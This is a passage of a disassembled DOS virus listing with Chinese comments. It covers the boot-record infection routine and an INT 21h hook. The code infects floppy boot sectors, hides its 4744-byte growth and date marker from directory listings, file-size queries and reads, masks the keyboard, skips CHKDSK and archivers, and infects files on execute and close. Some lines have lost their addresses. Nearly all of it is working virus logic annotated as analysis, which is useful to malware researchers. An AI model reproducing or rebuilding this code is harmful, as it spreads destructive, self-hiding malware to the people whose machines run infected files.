9E80:04B3 CA0200         RETF        0002
;===========================================================================
;读引导区时返回原引导记录及传染程序
9E80:04B6 E8F005         CALL        0AA9                 ;执行原 INT 13H
9E80:04B9 E830FC         CALL        00EC                 ;PUSHA
9E80:04BC 723D           JB        04FB
9E80:04BE 06             PUSH        ES
9E80:04BF 0E             PUSH        CS
9E80:04C0 07             POP        ES
9E80:04C1 1F             POP        DS
9E80:04C2 B90001         MOV        CX,0100
9E80:04C5 8BF3           MOV        SI,BX
9E80:04C7 BF1314         MOV        DI,1413
9E80:04CA 8BDF           MOV        BX,DI
9E80:04CC FC             CLD         
9E80:04CD F3             REPZ                        ;移动读出的引导记录
9E80:04CE A5             MOVSW                         ;到 CS:1413
9E80:04CF 0E             PUSH        CS
9E80:04D0 1F             POP        DS
9E80:04D1 E8B8FC         CALL        018C                 ;判断是否已传染
9E80:04D4 752B           JNZ        0501
9E80:04D6 B80102         MOV        AX,0201         ;已传染读出原引导记录
9E80:04D9 8B4C1B         MOV        CX,[SI+1B]
9E80 8A741F         MOV        DH,[SI+1F]
9E80:04DF E8D405         CALL        0AB6
9E80:04E2 7217           JB        04FB
9E80:04E4 A10000         MOV        AX,[0000]
9E80 3907           CMP        [BX],AX
9E80:04E9 7510           JNZ        04FB                 ;无病毒转 04FB
9E80:04EB 8B7E0E         MOV        DI,[BP+0E]
9E80 8E4600         MOV        ES,[BP+00]
9E80:04F1 2BF3           SUB        SI,BX
9E80:04F3 03FE           ADD        DI,SI
9E80:04F5 8D7747         LEA        SI,[BX+47]         ;解密恢复原引导记录
9E80:04F8 E83BFB         CALL        0036
9E80:04FB E804FC         CALL        0102                 ;POPA
9E80:04FE CA0200         RETF        0002
;==========================================================================
;传染引导记录程序
9E80:0501 80FA80         CMP        DL,80                ;是硬盘不传染
9E80:0504 73F5           JNB        04FB
9E80:0506 B80103         MOV        AX,0301
9E80:0509 B90100         MOV        CX,0001
9E80:050C E8A705         CALL        0AB6
9E80:050F 72EA           JB        04FB
9E80:0511 8BF2           MOV        SI,DX
9E80:0513 8BFB           MOV        DI,BX
9E80:0515 8B4513         MOV        AX,[DI+13]
9E80 8B4D18         MOV        CX,[DI+18]
9E80:051B 294D13         SUB        [DI+13],CX
9E80 890E6F05       MOV        [056F],CX
9E80:0522 33D2           XOR        DX,DX
9E80:0524 0BC0           OR        AX,AX
9E80:0526 74D3           JZ        04FB
9E80:0528 E3D1           JCXZ        04FB
9E80:052A F7F1           DIV        CX
9E80:052C 0BD2           OR        DX,DX
9E80:052E 75CB           JNZ        04FB
9E80:0530 8B5D1A         MOV        BX,[DI+1A]
9E80:0533 0BDB           OR        BX,BX
9E80:0535 74C4           JZ        04FB
9E80:0537 F7F3           DIV        BX
9E80:0539 0BD2           OR        DX,DX
9E80:053B 75BE           JNZ        04FB
9E80:053D 48             DEC        AX
9E80:053E 8AE8           MOV        CH,AL
9E80:0540 B101           MOV        CL,01
9E80:0542 4B             DEC        BX
9E80:0543 8BD6           MOV        DX,SI
9E80:0545 8AF3           MOV        DH,BL
9E80:0547 8BDF           MOV        BX,DI
9E80:0549 E80DFC         CALL        0159
9E80:054C 72AD           JB        04FB
9E80:054E B80903         MOV        AX,0309
9E80:0551 33DB           XOR        BX,BX
9E80:0553 E86005         CALL        0AB6
9E80:0556 72A3           JB        04FB
9E80:0558 B80103         MOV        AX,0301
9E80:055B BB1314         MOV        BX,1413
9E80:055E B90100         MOV        CX,0001
9E80:0561 32F6           XOR        DH,DH
9E80:0563 E85005         CALL        0AB6
9E80:0566 8B5E0E         MOV        BX,[BP+0E]
9E80 8E5E00         MOV        DS,[BP+00]
9E80:056C 816F130F00     SUB        Word Ptr [BX+13],000F
9E80:0571 EB88           JMP        04FB
;=======================================================================
;        新 INT 21 代码部分
;=======================================================================
9E80:0573 FA             CLI         
9E80:0574 2E8C16D512     MOV        CS:[12D5],SS         ;保存堆栈地址
9E80 2E8926D712     MOV        CS:[12D7],SP
9E80:057E 0E             PUSH        CS
9E80:057F 17             POP        SS
9E80:0580 BCD913         MOV        SP,13D9         ;切换到内部堆栈
9E80:0583 FB             STI         
9E80:0584 E865FB         CALL        00EC                 ;PUSHA
9E80:0587 E421           IN        AL,21
9E80:0589 0C02           OR        AL,02
9E80:058B E621           OUT        21,AL                ;屏蔽键盘
9E80:058D 0E             PUSH        CS
9E80:058E 1F             POP        DS
9E80:058F BFFF13         MOV        DI,13FF
9E80:0592 899DC4F6       MOV        [DI+F6C4],BX         ;MOV [0AC3],BX
9E80:0596 B024           MOV        AL,24
9E80:0598 E828FB         CALL        00C3                 ;取中断向量 INT 24
9E80:059B 895DE8         MOV        [DI-18],BX         ;保存于 13E7
9E80 8C45EA         MOV        [DI-16],ES
9E80:05A1 C705B003       MOV        Word Ptr [DI],03B0         ;MOV AL,3
9E80 C64502CF       MOV        Byte Ptr [DI+02],CF         ;IRET
9E80:05A9 8BD7           MOV        DX,DI                ;设置新 INT 24 中断向量
9E80:05AB E826FB         CALL        00D4
9E80:05AE E851FB         CALL        0102                 ;POPA
9E80:05B1 E83CFC         CALL        01F0                 ;恢复原 INT 21 中断 5 字节
9E80:05B4 E835FB         CALL        00EC                 ;以便调用
;==========================================================================
9E80:05B7 80FC30         CMP        AH,30
9E80:05BA 750E           JNZ        05CA
9E80:05BC 81C36606       ADD        BX,0666         ;病毒驻留检测, DOS 30H 功能
9E80:05C0 7508           JNZ        05CA                 ;以 BX = F99A 调用
9E80:05C2 895E10         MOV        [BP+10],BX         ;返回 AX = 0000
9E80 895E0E         MOV        [BP+0E],BX
9E80:05C8 EB5C           JMP        0626                 ;INT 21 返回
;==========================================================================
9E80:05CA 80FC11         CMP        AH,11
9E80:05CD 726F           JB        063E
9E80:05CF 80FC12         CMP        AH,12                 ;DOS 11,12 功能 (DIR)
9E80:05D2 776A           JA        063E
9E80:05D4 E8EE04         CALL        0AC5                 ;先调用原 INT 21
9E80:05D7 0AC0           OR        AL,AL                ;未找到目录项返回
9E80:05D9 7403           JZ        05DE
9E80:05DB E9A502         JMP        0883
9E80:05DE E84E04         CALL        0A2F                 ;设置 INT 21 返回值(堆栈中)
9E80:05E1 E8AC04         CALL        0A90                 ;取当前执行文件名
9E80:05E4 B84348         MOV        AX,4843         ;于 ES:DI (从 MCB 中)
9E80:05E7 AF             SCASW                         ; "HC"
9E80:05E8 750C           JNZ        05F6
9E80:05EA B84B44         MOV        AX,444B         ; "DK"
9E80:05ED AF             SCASW         
9E80:05EE 7506           JNZ        05F6
9E80:05F0 B8534B         MOV        AX,4B53         ; "KS" 即 CHKDSK
9E80:05F3 AF             SCASW                         ;如果执行文件是 CHKDSK
9E80:05F4 7430           JZ        0626                 ;则文件长度不减
9E80:05F6 E8A804         CALL        0AA1                 ;取 DTA => ES:BX
9E80:05F9 33FF           XOR        DI,DI
9E80:05FB 803FFF         CMP        Byte Ptr [BX],FF
9E80:05FE 7503           JNZ        0603
9E80:0600 BF0700         MOV        DI,0007         ;扩展 FCB
9E80:0603 8D711A         LEA        SI,[BX+DI+1A]         ;
9E80:0606 E82E04         CALL        0A37                 ;如果是 ARJ,LHA,PK系列
9E80:0609 741B           JZ        0626                 ;BACKUP,MODEM等文件执行中
9E80:060B 803CC8         CMP        Byte Ptr [SI],C8 ;则不改动 (以下同)
9E80:060E 7216           JB        0626                 ;未传染返回
9E80:0610 802CC8         SUB        Byte Ptr [SI],C8         ;已传染,年号-100
9E80 C4411D         LES        AX,[BX+DI+1D]
9E80:0616 8CC1           MOV        CX,ES
9E80:0618 2D8812         SUB        AX,1288         ;文件长 - 4744 字节
9E80:061B 83D900         SBB        CX,+00
9E80:061E 7206           JB        0626
9E80:0620 89411D         MOV        [BX+DI+1D],AX
9E80 89491F         MOV        [BX+DI+1F],CX
9E80:0626 E8F503         CALL        0A1E                 ;恢复 INT 24,开键盘
9E80:0629 E8D6FA         CALL        0102                 ;POPA
9E80:062C E8C1FB         CALL        01F0                 ;修改 INT 21 头 5 字节
9E80:062F FA             CLI         
9E80:0630 2E8E16D512     MOV        SS,CS:[12D5]         ;恢复原堆栈
9E80 2E8B26D712     MOV        SP,CS:[12D7]
9E80:063A FB             STI         
9E80:063B CA0200         RETF        0002
;========================================================================
9E80:063E 80FC4E         CMP        AH,4E                ;INT 21 之寻找文件功能
9E80:0641 721B           JB        065E
9E80:0643 80FC4F         CMP        AH,4F
9E80:0646 7716           JA        065E
9E80:0648 E87A04         CALL        0AC5                 ;先调用原 INT 21
9E80:064B 7303           JNB        0650
9E80:064D E93302         JMP        0883
9E80:0650 E8DC03         CALL        0A2F                 ;保存返回 AX
9E80:0653 E84B04         CALL        0AA1                 ;取 DTA 于 ES:BX
9E80:0656 BFFDFF         MOV        DI,FFFD
9E80:0659 8D7719         LEA        SI,[BX+19]         ;更改文件长及时间
9E80:065C EBA8           JMP        0606
;=======================================================================
9E80:065E 3D0242         CMP        AX,4202         ;INT 21 之测试文件长功能
9E80:0661 7524           JNZ        0687
9E80:0663 E85C04         CALL        0AC2                 ;调用原 INT 21
9E80:0666 72E5           JB        064D
9E80:0668 E84003         CALL        09AB                 ;取系统文件表项于 ES:DI
9E80:066B 7611           JBE        067E
9E80:066D E8C703         CALL        0A37                 ;
9E80:0670 740C           JZ        067E
9E80:0672 2D8812         SUB        AX,1288         ;如果传染
9E80:0675 83DA00         SBB        DX,+00                 ;文件长 - 4744
9E80:0678 894515         MOV        [DI+15],AX
9E80 895517         MOV        [DI+17],DX
9E80:067E F8             CLC         
9E80:067F E8AD03         CALL        0A2F                 ;设置 INT 21 返回值
9E80:0682 89560A         MOV        [BP+0A],DX         ;设置返回 DX
9E80:0685 EB9F           JMP        0626
;========================================================================
9E80:0687 3D0057         CMP        AX,5700         ;INT 21 之文件时间功能
9E80:068A 7412           JZ        069E
9E80:068C 3D0157         CMP        AX,5701
9E80:068F 752F           JNZ        06C0
9E80:0691 E81703         CALL        09AB                 ;设置文件时间
9E80:0694 7612           JBE        06A8                 ;如果传染
9E80:0696 80FEC8         CMP        DH,C8                 ;未加 100 年则加 100 年
9E80:0699 730D           JNB        06A8
9E80:069B 80C6C8         ADD        DH,C8
9E80:069E E89603         CALL        0A37
9E80:06A1 7405           JZ        06A8
9E80:06A3 E81C04         CALL        0AC2
9E80:06A6 7303           JNB        06AB
9E80:06A8 E9D801         JMP        0883
9E80:06AB 80FEC8         CMP        DH,C8                 ;取文件时间
9E80:06AE 7203           JB        06B3                 ;如果传染,则减 100 年
9E80:06B0 80EEC8         SUB        DH,C8
9E80:06B3 F8             CLC         
9E80:06B4 E87803         CALL        0A2F                 ;设置 INT 21 返回值
9E80:06B7 894E0C         MOV        [BP+0C],CX         ;设置返回 CX,DX 值
9E80 89560A         MOV        [BP+0A],DX
9E80:06BD E966FF         JMP        0626
;==========================================================================
9E80:06C0 80FC3F         CMP        AH,3F                ;INT 21 之读文件功能
9E80:06C3 7403           JZ        06C8
9E80:06C5 E9BD00         JMP        0785
9E80:06C8 E8E002         CALL        09AB                 ;取系统文件表项地址
9E80:06CB 76F8           JBE        06C5
9E80:06CD E86703         CALL        0A37                 ;压缩程序内退出
9E80:06D0 74F3           JZ        06C5
9E80:06D2 C44511         LES        AX,[DI+11]         ;文件大小 => BX:AX
9E80:06D5 8CC3           MOV        BX,ES
9E80:06D7 C45515         LES        DX,[DI+15]         ;当前指针 => SI:DX
9E80:06DA 8CC6           MOV        SI,ES
9E80:06DC 2E83267C0700   AND        Word Ptr CS:[077C],+00 ;读出长度清零
9E80:06E2 0BF6           OR        SI,SI
9E80:06E4 754D           JNZ        0733
9E80:06E6 83FA18         CMP        DX,+18
9E80:06E9 7348           JNB        0733
9E80:06EB 51             PUSH        CX                 ;当前指针 < 0000:0018
9E80:06EC 03CA           ADD        CX,DX
9E80:06EE F5             CMC         
9E80:06EF 7303           JNB        06F4                 ;> 64K 转 06F7
9E80:06F1 83F918         CMP        CX,+18
9E80:06F4 59             POP        CX                 ;读文件头 18 字节内
9E80:06F5 7205           JB        06FC                 ;转 06FC
9E80:06F7 B91800         MOV        CX,0018         ;一半在文件头 18 字节内
9E80:06FA 2BCA           SUB        CX,DX                 ;CX=在文件头18字节内的字节数
9E80:06FC 50             PUSH        AX
9E80:06FD 53             PUSH        BX
9E80:06FE 52             PUSH        DX
9E80:06FF 83EA18         SUB        DX,+18                 ;BX:AX = 文件长
9E80:0702 03C2           ADD        AX,DX                 ;
9E80:0704 F5             CMC         
9E80:0705 1BDE           SBB        BX,SI
9E80:0707 874515         XCHG        AX,[DI+15]         ;文件指针指向文件尾
9E80 875D17         XCHG        BX,[DI+17]        
9E80:070D 50             PUSH        AX
9E80:070E 53             PUSH        BX
9E80:070F 1E             PUSH        DS
9E80:0710 B43F           MOV        AH,3F                ;读出原文件头
9E80:0712 8B560A         MOV        DX,[BP+0A]
9E80 8E5E02         MOV        DS,[BP+02]
9E80:0718 E8A703         CALL        0AC2
9E80:071B 1F             POP        DS
9E80:071C 8F4517         POP        [DI+17]         ;恢复原文件指针
9E80 8F4515         POP        [DI+15]
9E80:0722 5A             POP        DX
9E80:0723 9C             PUSHF                         ;由于分两部分读出
9E80:0724 03D0           ADD        DX,AX                 ;所以保留第一次读出数
9E80:0726 2E01067C07     ADD        CS:[077C],AX         ;返回时加上第二次读出数
9E80:072B 9D             POPF         
9E80:072C 5B             POP        BX                 ;BX:AX = 文件长
9E80:072D 58             POP        AX
9E80:072E 7303           JNB        0733
9E80:0730 E95001         JMP        0883
9E80:0733 895515         MOV        [DI+15],DX         ;读出第一部分后的
9E80 897517         MOV        [DI+17],SI         ;文件指针
9E80:0739 8B4E0C         MOV        CX,[BP+0C]         ;原读出字节数
9E80 2E2B0E7C07     SUB        CX,CS:[077C]         ;减去已读出字节数
9E80:0741 2D8812         SUB        AX,1288         ;BX:AX = 文件长
9E80:0744 83DB00         SBB        BX,+00
9E80:0747 50             PUSH        AX
9E80:0748 53             PUSH        BX                 ;BX:AX = 减去病毒后文件长
9E80:0749 2BC2           SUB        AX,DX                 ;
9E80:074B 1BDE           SBB        BX,SI
9E80:074D 5B             POP        BX
9E80:074E 58             POP        AX
9E80:074F 7304           JNB        0755                 ;当前指针不在病毒内转 0755
9E80:0751 33C9           XOR        CX,CX                 ;当前指针在病毒内
9E80:0753 EB14           JMP        0769                 ;则读出 0 字节
9E80:0755 03D1           ADD        DX,CX
9E80:0757 83D600         ADC        SI,+00                 ;SI:DX = 读出后
9E80:075A 3BDE           CMP        BX,SI                 ;指针将要在的位置
9E80:075C 770B           JA        0769
9E80:075E 7204           JB        0764
9E80:0760 3BC2           CMP        AX,DX
9E80:0762 7305           JNB        0769                 ;未到病毒内转 0769
9E80:0764 2BD1           SUB        DX,CX                 ;
9E80:0766 91             XCHG        AX,CX
9E80:0767 2BCA           SUB        CX,DX                 ;CX = 到原文件尾长度
9E80:0769 B43F           MOV        AH,3F
9E80:076B 8B560A         MOV        DX,[BP+0A]
9E80 2E03167C07     ADD        DX,CS:[077C]
9E80:0773 8E5E02         MOV        DS,[BP+02]
9E80:0776 E84903         CALL        0AC2                 ;读出文件
9E80:0779 7204           JB        077F
9E80:077B 051800         ADD        AX,0018   ===>        ;本字节在第一次读出时保存
9E80:077E F8             CLC         
9E80:077F E8AD02         CALL        0A2F                 ;保存返回 AX
9E80:0782 E9A1FE         JMP        0626
;==========================================================================
9E80:0785 80FC40         CMP        AH,40                ;INT 21 之写文件功能
9E80:0788 7402           JZ        078C
9E80:078A EB52           JMP        07DE
9E80:078C E81C02         CALL        09AB                 ;取系统文件表项地址
9E80:078F 76F9           JBE        078A
9E80:0791 C44511         LES        AX,[DI+11]
9E80:0794 8CC3           MOV        BX,ES                 ;BX:AX = 文件长
9E80:0796 2D1800         SUB        AX,0018
9E80:0799 83DB00         SBB        BX,+00
9E80:079C 874515         XCHG        AX,[DI+15]         ;当前指针 => 文件尾-0018
9E80 875D17         XCHG        BX,[DI+17]         ;BX:AX = 当前指针
9E80:07A2 50             PUSH        AX
9E80:07A3 53             PUSH        BX
9E80:07A4 B80200         MOV        AX,0002
9E80:07A7 874502         XCHG        AX,[DI+02]         ;设置为写打开
9E80:07AA 50             PUSH        AX
9E80:07AB 1E             PUSH        DS
9E80:07AC 0E             PUSH        CS
9E80:07AD 1F             POP        DS
9E80:07AE 07             POP        ES
9E80:07AF E85902         CALL        0A0B                 ;读出原文件头 => CS:1270
9E80:07B2 268F4502       POP        ES:[DI+02]         ;恢复打开方式
9E80:07B6 721B           JB        07D3
9E80:07B8 26894515       MOV        ES:[DI+15],AX         ;当前指针 => 文件开始
9E80 26894517       MOV        ES:[DI+17],AX
9E80:07C0 E84B02         CALL        0A0E                 ;写文件头(恢复)
9E80:07C3 720E           JB        07D3
9E80:07C5 06             PUSH        ES
9E80:07C6 1F             POP        DS
9E80:07C7 816D118812     SUB        Word Ptr [DI+11],1288
9E80 194513         SBB        [DI+13],AX         ;文件长 - 4744
9E80:07CF 806D10C8       SUB        Byte Ptr [DI+10],C8         ;恢复日期
9E80 268F4517       POP        ES:[DI+17]         ;恢复文件指针
9E80:07D7 268F4515       POP        ES:[DI+15]
9E80:07DB E9A500         JMP        0883                 ;转原 INT 21
;=========================================================================
9E80:07DE 80FC3E         CMP        AH,3E                ;关闭文件
9E80:07E1 740C           JZ        07EF                 ;先复制文件句柄再传染
9E80:07E3 3D004B         CMP        AX,4B00         ;执行文件
9E80:07E6 7403           JZ        07EB                 ;先打开文件再传染
9E80:07E8 E99800         JMP        0883
9E80:07EB B8003D         MOV        AX,3D00
9E80:07EE 3DB445         CMP        AX,45B4
9E80:07F1 E8E501         CALL        09D9                 ;将 INT 13 切换到 BIOS
9E80:07F4 E8CB02         CALL        0AC2                 ;打开/复制文件
9E80:07F7 2EA3C30A       MOV        CS:[0AC3],AX
9E80:07FB B80844         MOV        AX,4408
9E80:07FE 99             CWD         
9E80:07FF 727F           JB        0880
9E80:0801 E8A701         CALL        09AB                ;取系统文件表项
9E80:0804 7275           JB        087B                 ;出错退出
9E80:0806 7573           JNZ        087B                 ;已传染退出
9E80:0808 B33F           MOV        BL,3F
9E80:080A 225D05         AND        BL,[DI+05]         ;设备信息字
9E80:080D 8AD3           MOV        DL,BL                 ;DL = 驱动器号 (A=0,B=1...)
9E80:080F 43             INC        BX                 ;BX = 驱动器号 (A=1,B=2...)
9E80:0810 E8B202         CALL        0AC5                 ;DOS 4408 功能
9E80:0813 B90100         MOV        CX,0001         ;检测块设备是否可移动
9E80:0816 0E             PUSH        CS
9E80:0817 07             POP        ES
9E80:0818 7205           JB        081F
9E80:081A 48             DEC        AX
9E80:081B 7418           JZ        0835                 ;固定设备转 0835
9E80:081D EB05           JMP        0824                 ;非可移动设备退出
9E80:081F 80FA01         CMP        D